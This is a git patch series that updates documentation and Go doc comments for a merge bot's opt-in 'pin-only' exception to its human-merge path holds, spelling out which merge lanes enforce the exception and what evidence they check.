<280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Mon, 2 Nov 2026 22:49:46 -0500 Subject: [PATCH 2/4] =?UTF-8?q?=F0=9F=93=9D=20docs(automerge):=20align=20p?= =?UTF-8?q?in-only=20rollout=20docs=20and=20godoc=20with=20sweep/approve?= =?UTF-8?q?=20enforcement?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reword the operator-reference YAML intro, drop the native-queue claim from hive-merge.md (queued PRs inherit the lane gate), and refresh the config godoc to point at humanMergePinOnlyExempt (#16266). Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- src/docs/hive-merge.md | 5 +++-- src/docs/operator-reference/README.md | 3 ++- src/pkg/config/automerge_pin_only.go | 8 +++++--- src/pkg/config/config.go | 5 +++-- 4 files changed, 13 insertions(+), 8 deletions(-) diff --git a/src/docs/hive-merge.md b/src/docs/hive-merge.md index 4aa9e9faad..da240d3456 100644 --- a/src/docs/hive-merge.md +++ b/src/docs/hive-merge.md @@ -174,8 +174,9 @@ repo cannot be fetched completely, the merge is withheld (fail closed). See `auto_merge.human_merge_pin_only` provides the schema and conservative diff classifier for #16242 / #16262. **The automerge sweep lanes and `/approve` -enforce it (#16266); the `hive-merge` relay and native-queue gates do not yet** -(#16265) and still require the existing human-merge path policy. A sweep lane +enforce it (#16266); the `hive-merge` relay does not yet** (#16265) and still +requires the existing human-merge path policy. The native merge queue is entered +only after a lane's human-merge-path gate, so queued PRs inherit the exception. A sweep lane does not hold a PR on its human-merge-path matches when the repo has an enabled entry, the PR author is in `trusted_authors` (case-insensitive login match), GitHub's reported changed-file count is present and equals the fetched list, diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index 1afd348f07..902a32430f 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -506,7 +506,8 @@ supported version: the first deployed v5 release containing the schema/classifie digest/version and live positive/negative evidence in projectbluefin/utah#1082 before enabling that rollout. -The additive configuration (schema landed in #16262; not yet enforced) is: +The additive configuration (schema #16262; enforced by the automerge sweep lanes +and `/approve` per #16266, relay pending #16265) is: ```yaml auto_merge: diff --git a/src/pkg/config/automerge_pin_only.go b/src/pkg/config/automerge_pin_only.go index 603a90caa2..1122be63a4 100644 --- a/src/pkg/config/automerge_pin_only.go +++ b/src/pkg/config/automerge_pin_only.go @@ -7,9 +7,11 @@ import ( "github.com/hivecommons/hive/pkg/intent" ) -// PinOnlyException is staged policy, not authorization to merge. The eventual -// admission gates must supply authenticated identity, exact-head diff and review -// evidence before consulting the purely syntactic classifier. +// PinOnlyException is policy, not authorization to merge. The automerge sweep +// lanes and /approve apply it via humanMergePinOnlyExempt (#16266), which +// supplies trusted identity, exact-head diff and review evidence before +// consulting the purely syntactic classifier; the hive-merge relay does not +// yet (#16265). type PinOnlyException struct { Enabled bool `yaml:"enabled" json:"enabled"` Paths []string `yaml:"paths" json:"paths"` diff --git a/src/pkg/config/config.go b/src/pkg/config/config.go index 39465ea472..545b673454 100644 --- a/src/pkg/config/config.go +++ b/src/pkg/config/config.go @@ -8340,8 +8340,9 @@ type AutoMergeConfig struct { // lives in the merge sweeps. HumanMergePaths map[string][]string `yaml:"human_merge_paths,omitempty" json:"human_merge_paths,omitempty"` - // HumanMergePinOnly stages opt-in pin-only policy. Admission wiring must - // independently prove trusted identity, exact-head evidence and upstream review. + // HumanMergePinOnly holds the opt-in pin-only exception, enforced by the + // automerge sweep lanes and /approve through humanMergePinOnlyExempt + // (#16266); the hive-merge relay does not apply it yet (#16265). HumanMergePinOnly map[string]PinOnlyException `yaml:"human_merge_pin_only,omitempty" json:"human_merge_pin_only,omitempty"` // HumanMergeTitlePrefixes lists title prefixes (matched after trimming // the title) that mark a PR as one the owner merges by hand; no lane and From 52795e3f7f59b098e11a147664d35f1f8074253c Mon Sep 17 00:00:00 2001 From: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Mon, 2 Nov 2026 23:10:14 -0500 Subject: [PATCH 3/4] =?UTF-8?q?=F0=9F=93=9D=20docs(automerge):=20state=20w?= =?UTF-8?q?hat=20the=20pin-only=20sweep=20gate=20proves=20and=20that=20a?= =?UTF-8?q?=20seed=20reload=20enables=20it?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reword the PinOnlyException / HumanMergePinOnly godoc to name the exported entry points and the evidence the lanes actually supply (trusted PR author, complete file list, SHA-bound merge; review stays a separate gate). Update hive-merge.md so a seed reload is described as enabling the sweep and /approve exception on an image containing #16266 while the relay (#16265) still ignores it, cross-reference the exception from the human_merge_paths sweep-key row, rewrap one long line, and fix the fileEntries fixture comment. Hive-Fix-Attempt: 2/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- src/docs/hive-merge.md | 8 +++++--- src/docs/operator-reference/README.md | 2 +- src/pkg/config/automerge_pin_only.go | 11 +++++++---- src/pkg/config/config.go | 5 +++-- .../github/automerge/automerge_human_paths_test.go | 2 +- 5 files changed, 17 insertions(+), 11 deletions(-) diff --git a/src/docs/hive-merge.md b/src/docs/hive-merge.md index da240d3456..b16e28202c 100644 --- a/src/docs/hive-merge.md +++ b/src/docs/hive-merge.md @@ -211,15 +211,17 @@ permission/credential/signing text and non-pin edits fail closed. This classifier proves **syntax only**, not authenticated identity, exact-head binding, file-list completeness, semantic interpretation or review of upstream references. The sweep supplies the author (GitHub's PR author login) and -file-list completeness itself; the relay integration remains #16265; attribution and safe hold release are tracked in #16269. None of the +file-list completeness itself; the relay integration remains #16265; +attribution and safe hold release are tracked in #16269. None of the schema or classifier APIs grants permission to merge or clears a hold. Native required checks and producer bindings, freshness, current reviews, substantive objections, unrelated holds and configured soak must remain independent gates. Operators stage the key in the controller's configured `hive.yaml` seed, not in the image repository (reload behaviour is documented in the operator reference -linked above). Reloading this schema alone still does **not** enable admission. -The integration PRs must wire live policy updates into every merge path. +linked above). On an image that contains #16266, reloading the seed enables +the sweep and `/approve` exception at once; the `hive-merge` relay still +ignores the key until #16265 lands, so relay merges keep holding matching PRs. There is **no minimum deployable version enabling this lane yet**. Utah rollout and current-head positive/negative deployment evidence remain tracked by diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index 902a32430f..ba9166cbe5 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -456,7 +456,7 @@ advanced into the merge path. | `auto_merge.repos..required_checks` | inherits default | Per-repo override for heterogeneous hives. `` may be the bare name from `project.repos` or `owner/repo`; an explicit empty list declares that GitHub has no required contexts, while Hive still requires positive CI evidence from at least one real successful check-run before merge. | | `auto_merge.allow_unprotected_base` | deprecated no-op | Accepted for compatibility only. [`hive-merge`](../hive-merge.md) no longer refuses solely because a base branch has no GitHub branch protection; it may merge into any branch the App can write after positive CI evidence. | | `auto_merge.no_ci_ok` | unset (refuse) | **Merge-request watcher key, not a sweep key.** Per-repo opt-in that downgrades only the "unverified" CI verdict (zero statuses, check runs, and workflow runs) to green, for adopted repos with no CI by design. Red and pending verdicts are never downgraded (#6281). See [hive-merge.md](../hive-merge.md). | -| `auto_merge.human_merge_paths` | unset | Per-repo map of `owner/repo` to glob patterns (same syntax as `intent.guardrail_path_patterns`) for paths a person must merge, e.g. `Danathar/goodreads-mcp: [".claude/settings.json", ".claude/hooks/**"]`. Every App merge path honors it: the automerge sweep lanes (App self-merge, trusted-author, label-queued) and the agent merge-request relay refuse a PR that touches a listed path, add `hold`, and post one `` comment naming the path(s); a person must merge it. If the changed-file list cannot be fetched completely for a configured repo, the merge is withheld (#11038, #11039). | +| `auto_merge.human_merge_paths` | unset | Per-repo map of `owner/repo` to glob patterns (same syntax as `intent.guardrail_path_patterns`) for paths a person must merge, e.g. `Danathar/goodreads-mcp: [".claude/settings.json", ".claude/hooks/**"]`. Every App merge path honors it: the automerge sweep lanes (App self-merge, trusted-author, label-queued) and the agent merge-request relay refuse a PR that touches a listed path, add `hold`, and post one `` comment naming the path(s); a person must merge it. The sweep lanes skip that hold only for a PR admitted by `auto_merge.human_merge_pin_only` (#16266); the relay does not apply that exception yet. If the changed-file list cannot be fetched completely for a configured repo, the merge is withheld (#11038, #11039). | | `auto_merge.human_merge_title_prefixes` | `["⚠️", "⚠"]` | PR-title prefixes that mean "breaking change — owner merges" (U+26A0 with or without the VS16 selector by default, matched after trimming leading whitespace). One shared predicate, `automerge.RequiresHumanMerge(pr)`, runs where each lane computes eligibility — App self-merge, label-queued, trusted-author and contributor lanes, plus the refetch before a merge — so a matching PR is never merged by hive and never fronts a merge train, however green and however approved. The PR parks at stage 090 *Ready for human merge* with the `human merge` chip and reason *breaking change — owner merges*; the owner merges it with **Approve & merge as maintainer** or on GitHub. Hive posts one writeback-gated comment saying it will wait for a human. Set to `[]` to turn the title rule off. Added after a ⚠️-titled PR was auto-merged by the trusted-author lane while its owner was still deciding whether to ship it. | | `auto_merge.human_merge_labels` | `["needs-owner-merge"]` | Labels (case-insensitive, trimmed) that carry the same "a person merges this" meaning as the title prefixes above; either match is enough. Set to `[]` to turn the label rule off. | | `auto_merge.require_current_base` | unset | Repo list (`owner/repo`) with an explicit **on** override for the current-base merge gate (Settings → Repos → "Merge only on current base"). On a gated repo the App self-merge, trusted-author and contributor lanes only merge a head that contains the current base tip. A green head tested against an older base is updated with GitHub update-branch (a merge commit; no author commit is rewritten) and merges once CI is green on the new head, so a semantic conflict with work merged since turns that PR red instead of breaking the base ([#13634](https://github.com/hivecommons/hive/issues/13634), [#15335](https://github.com/hivecommons/hive/issues/15335)). Costs one compare call per merge candidate. Listing a repo here is also **strict**: a behind head the App cannot update (fork without maintainer edits, branch protection or a missing `contents: write`) is parked (`fork-not-editable` / `update-branch`) rather than merged as tested. Wins over `skip_current_base` and over the default. | diff --git a/src/pkg/config/automerge_pin_only.go b/src/pkg/config/automerge_pin_only.go index 1122be63a4..8d766680f4 100644 --- a/src/pkg/config/automerge_pin_only.go +++ b/src/pkg/config/automerge_pin_only.go @@ -8,10 +8,13 @@ import ( ) // PinOnlyException is policy, not authorization to merge. The automerge sweep -// lanes and /approve apply it via humanMergePinOnlyExempt (#16266), which -// supplies trusted identity, exact-head diff and review evidence before -// consulting the purely syntactic classifier; the hive-merge relay does not -// yet (#16265). +// lanes and /approve apply it (#16266) through Engine.SetHumanMergePinOnly / +// Options.HumanMergePinOnly: before consulting the purely syntactic +// classifier they prove the PR opener is a trusted author and that the +// fetched changed-file list is complete, and the merge itself is bound to +// the evaluated head SHA. They do not prove review of the referenced +// upstream changes; review stays with the lanes' independent review gates. +// The hive-merge relay does not apply the exception yet (#16265). type PinOnlyException struct { Enabled bool `yaml:"enabled" json:"enabled"` Paths []string `yaml:"paths" json:"paths"` diff --git a/src/pkg/config/config.go b/src/pkg/config/config.go index 545b673454..e1e6bd1dd8 100644 --- a/src/pkg/config/config.go +++ b/src/pkg/config/config.go @@ -8341,8 +8341,9 @@ type AutoMergeConfig struct { HumanMergePaths map[string][]string `yaml:"human_merge_paths,omitempty" json:"human_merge_paths,omitempty"` // HumanMergePinOnly holds the opt-in pin-only exception, enforced by the - // automerge sweep lanes and /approve through humanMergePinOnlyExempt - // (#16266); the hive-merge relay does not apply it yet (#16265). + // automerge sweep lanes and /approve (#16266) on trusted PR author, + // complete file list and a SHA-bound merge; review is a separate gate. + // The hive-merge relay does not apply it yet (#16265). HumanMergePinOnly map[string]PinOnlyException `yaml:"human_merge_pin_only,omitempty" json:"human_merge_pin_only,omitempty"` // HumanMergeTitlePrefixes lists title prefixes (matched after trimming // the title) that mark a PR as one the owner merges by hand; no lane and diff --git a/src/pkg/github/automerge/automerge_human_paths_test.go b/src/pkg/github/automerge/automerge_human_paths_test.go index ec2685be7a..e53580c970 100644 --- a/src/pkg/github/automerge/automerge_human_paths_test.go +++ b/src/pkg/github/automerge/automerge_human_paths_test.go @@ -28,7 +28,7 @@ const testHumanMergePattern = ".github/workflows/**" type humanPathFront struct { mu sync.Mutex files []string - fileEntries []map[string]any // when set, served verbatim instead of files + fileEntries []map[string]any // when set, served first, before the entries built from files filesStatus int filesHits int labels []string From 0fe4caf5d576a5bb5ac5b568868b7051b0ae0710 Mon Sep 17 00:00:00 2001 From: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Mon, 2 Nov 2026 23:27:24 -0500 Subject: [PATCH 4/4] =?UTF-8?q?=F0=9F=93=96=20docs(config):=20describe=20h?= =?UTF-8?q?uman=5Fmerge=5Fpin=5Fonly=20as=20wired?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Refresh godoc comments in automerge_pin_only.go and config.go to describe the wired state and point at humanMergePinOnlyExempt and the sweep gate. Closes #16381 Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- src/pkg/config/automerge_pin_only.go | 13 +++++-------- src/pkg/config/config.go | 5 ++--- 2 files changed, 7 insertions(+), 11 deletions(-) diff --git a/src/pkg/config/automerge_pin_only.go b/src/pkg/config/automerge_pin_only.go index 8d766680f4..b03e534abe 100644 --- a/src/pkg/config/automerge_pin_only.go +++ b/src/pkg/config/automerge_pin_only.go @@ -7,14 +7,11 @@ import ( "github.com/hivecommons/hive/pkg/intent" ) -// PinOnlyException is policy, not authorization to merge. The automerge sweep -// lanes and /approve apply it (#16266) through Engine.SetHumanMergePinOnly / -// Options.HumanMergePinOnly: before consulting the purely syntactic -// classifier they prove the PR opener is a trusted author and that the -// fetched changed-file list is complete, and the merge itself is bound to -// the evaluated head SHA. They do not prove review of the referenced -// upstream changes; review stays with the lanes' independent review gates. -// The hive-merge relay does not apply the exception yet (#16265). +// PinOnlyException is policy wired in Engine.SetHumanMergePinOnly and +// enforced by the automerge sweep and /approve gates via humanMergePinOnlyExempt +// (#16266). It proves trusted PR author, complete file list, and SHA-bound merge, +// but not upstream review (separate gates handle that). The hive-merge relay does +// not yet apply it (#16265). type PinOnlyException struct { Enabled bool `yaml:"enabled" json:"enabled"` Paths []string `yaml:"paths" json:"paths"` diff --git a/src/pkg/config/config.go b/src/pkg/config/config.go index e1e6bd1dd8..bca9a76240 100644 --- a/src/pkg/config/config.go +++ b/src/pkg/config/config.go @@ -8341,9 +8341,8 @@ type AutoMergeConfig struct { HumanMergePaths map[string][]string `yaml:"human_merge_paths,omitempty" json:"human_merge_paths,omitempty"` // HumanMergePinOnly holds the opt-in pin-only exception, enforced by the - // automerge sweep lanes and /approve (#16266) on trusted PR author, - // complete file list and a SHA-bound merge; review is a separate gate. - // The hive-merge relay does not apply it yet (#16265). + // automerge sweep and /approve gates via humanMergePinOnlyExempt (#16266); + // the hive-merge relay does not apply it yet (#16265). HumanMergePinOnly map[string]PinOnlyException `yaml:"human_merge_pin_only,omitempty" json:"human_merge_pin_only,omitempty"` // HumanMergeTitlePrefixes lists title prefixes (matched after trimming // the title) that mark a PR as one the owner merges by hand; no lane and